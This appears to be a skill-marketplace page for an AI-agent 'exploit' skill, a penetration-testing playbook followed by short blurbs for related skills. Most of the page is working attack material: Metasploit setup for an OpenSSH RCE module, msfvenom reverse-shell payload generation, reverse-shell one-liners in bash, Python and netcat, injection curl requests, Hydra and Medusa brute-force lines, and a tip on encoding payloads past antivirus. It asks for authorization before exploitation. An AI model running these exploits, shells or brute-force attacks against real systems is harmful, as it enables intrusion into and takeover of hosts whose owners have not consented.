exploit/SKILL.md
Exploitation framework for penetration testing — Metasploit, public exploits, and manual exploitation. Use when: user asks to exploit a vulnerability, get a shell on a target, run an exploit for a CVE, gain access, compromise a host, attempt exploitation, or deliver a payload. This is the attack phase — systems may be affected. NOT for: vulnerability analysis (use vuln skill), scanning (use enum skill), or post-exploitation (use post skill).
npx skillsauth add duriandurino/openclawrino exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Execute exploits against confirmed vulnerabilities. Confirm authorization before any exploitation.
✅ USE this skill when:
❌ DON'T use this skill when:
Before any exploitation:
Raspberry Pi 5B note: Physical access is in scope. USB/HDMI/GPIO attacks may affect the device state. Document before/after state.
From vuln analysis findings:
# Search Metasploit for matching module
msfconsole -q -x "search cve:2024-6387; exit"
# Or search by service
msfconsole -q -x "search type:exploit name:openssh; exit"
# Launch msfconsole
msfconsole -q
# Select exploit
use exploit/linux/ssh/regreSSHion_rce
# Set target
set RHOSTS 192.168.1.105
set RPORT 22
# Set payload
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4444
# Run
exploit
# Check if we got a shell
whoami
id
hostname
# Start
msfconsole -q
# Search modules
search cve:2024-6387
search type:exploit name:openssh
search type:auxiliary name:smb
# Use module
use exploit/linux/ssh/regreSSHion_rce
# Configure
show options
set RHOSTS 192.168.1.105
set RPORT 22
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
show targets
set TARGET 0
# Run
exploit -j # Background job
exploit # Foreground
# Sessions
sessions -l # List sessions
sessions -i 1 # Interact with session 1
sessions -k 1 # Kill session 1
# Generate payloads (standalone)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o payload.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o payload.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o payload.php
When Metasploit doesn't have a module:
# Find and download exploit
searchsploit openssh 8.2
searchsploit -m 49757 # Mirror to current dir
# Review exploit code before running
cat 49757.py
# NEVER run exploits blindly — understand what they do
# Execute
python3 49757.py 192.168.1.105 22
# SQL injection (manual)
curl -s "http://target/login.php?user=admin'--"
# Command injection
curl -s "http://target/ping.php?ip=127.0.0.1;id"
# File upload bypass
curl -F "[email protected]" http://target/upload.php
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.105
# Hydra FTP
hydra -L /usr/share/wordlists/usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.105
# Medusa
medusa -h 192.168.1.105 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh
# Bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Netcat
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <PORT> > /tmp/f
| Scenario | Payload |
|----------|---------|
| Linux target, need stable shell | linux/x64/meterpreter/reverse_tcp |
| Linux target, quick check | linux/x64/shell_reverse_tcp |
| Windows target | windows/x64/meterpreter/reverse_tcp |
| PHP web shell | php/meterpreter_reverse_tcp |
| One-liner, no file | linux/x64/shell_reverse_tcp (stageless) |
| Encoded (avoids basic AV) | linux/x64/meterpreter/reverse_tcp + encoder |
# Metasploit handler
msfconsole -q -x "
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
exploit -j
"
# Simple netcat listener
nc -lvnp 4444
# rlwrap for better shell
rlwrap nc -lvnp 4444
Save exploitation results to engagements/<target>/exploit/ following the workspace engagement structure. The orchestrator will specify the target name. Preserve original filenames. NEVER create ad-hoc directories.
testing
Vulnerability analysis and CVE matching for penetration testing. Use when: user asks to check for vulnerabilities, match CVEs against service versions, analyze scan results for weaknesses, research exploitability, assess risk of discovered services, or identify known vulnerabilities. This is the analysis phase — no exploitation yet. NOT for: active scanning (use enum skill), exploitation (use exploit skill), or post-exploitation (use post skill).
development
Methodology and decision framework for the penetration testing vulnerability phase. Use when: validating scanner output, distinguishing confirmed vulnerabilities from hypotheses, explaining CVE/CWE/CVSS, prioritizing findings with KEV/EPSS/business context, guiding vuln-analysis workflow, or reinforcing evidence-backed reporting during the vulnerability phase. NOT for: initial recon or active enumeration, hands-on exploitation, post-exploitation, or replacing the specialized vuln skill's concrete checks.
development
Great slides need two things: content worth presenting and design worth looking at. #1 on DeepResearch Bench (Feb 2026) — CellCog researches and fills content mindfully from minimal prompts, no filler. State-of-the-art PDF generation for presentations, pitch decks, keynotes, and slideshows you can present as-is. Requires cellcog skill for SDK. If cellcog is unavailable, use gog slides as fallback (Google Workspace).
development
Methodology and quality framework for the penetration testing report phase. Use when: writing or QA-ing pentest reports, improving executive and technical readability, enforcing evidence completeness, adding remediation and retest guidance, including cleanup/restoration and residual risk, or securing report packaging and delivery. NOT for: running phase-specific testing tasks or replacing the specialized reporting implementation/publishing workflow.